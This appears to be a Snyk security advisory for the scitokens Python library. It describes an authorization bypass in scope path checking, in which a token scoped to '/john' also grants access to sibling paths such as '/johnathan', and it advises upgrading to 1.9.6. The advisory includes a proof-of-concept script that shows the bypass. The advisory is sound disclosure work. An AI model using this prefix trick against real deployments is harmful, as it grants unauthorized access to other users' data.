Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Improper Authorization vulnerabilities in an interactive lesson.
Start learningUpgrade scitokens to version 1.9.6 or higher.
scitokens is a SciToken reference implementation library
Affected versions of this package are vulnerable to Improper Authorization via the _validate_scp and _validate_scope functions. An attacker can gain unauthorized access to sibling paths by crafting tokens with scope paths that share a common prefix.
import scitokens
import sys
def poc_scope_bypass():
"""
Demonstrate an Authorization Bypass vulnerability in scope path checking.
"""
print("--- PoC: Incorrect Scope Path Checking (Authorization Bypass) ---")
issuer = "https://scitokens.org/unittest"
enforcer = scitokens.Enforcer(issuer)
# Create a token with access to /john
token = scitokens.SciToken()
token['iss'] = issuer
token['scope'] = "read:/john"
print(f"Authorized path in scope: /john")
# 1. Test access to /john/file (should be allowed)
print(f"[1] Testing legitimate subpath: /john/file")
if enforcer.test(token, 'read', '/john/file'):
print(" -> Access GRANTED (Correct behavior)")
else:
print(" -> Access DENIED (Incorrect behavior - should have access to subpaths)")
# 2. Test access to /johnathan (SHOULD BE DENIED)
print(f"[2] Testing illegitimate sibling path: /johnathan")
if enforcer.test(token, 'read', '/johnathan'):
print(" -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
else:
print(" -> Access DENIED (Correct behavior - fix is working)")
# 3. Test access to /johnny (SHOULD BE DENIED)
print(f"[3] Testing illegitimate sibling path: /johnny")
if enforcer.test(token, 'read', '/johnny'):
print(" -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
else:
print(" -> Access DENIED (Correct behavior - fix is working)")
if __name__ == "__main__":
# Ensure scitokens from src/ is available
sys.path.insert(0, "src")
poc_scope_bypass()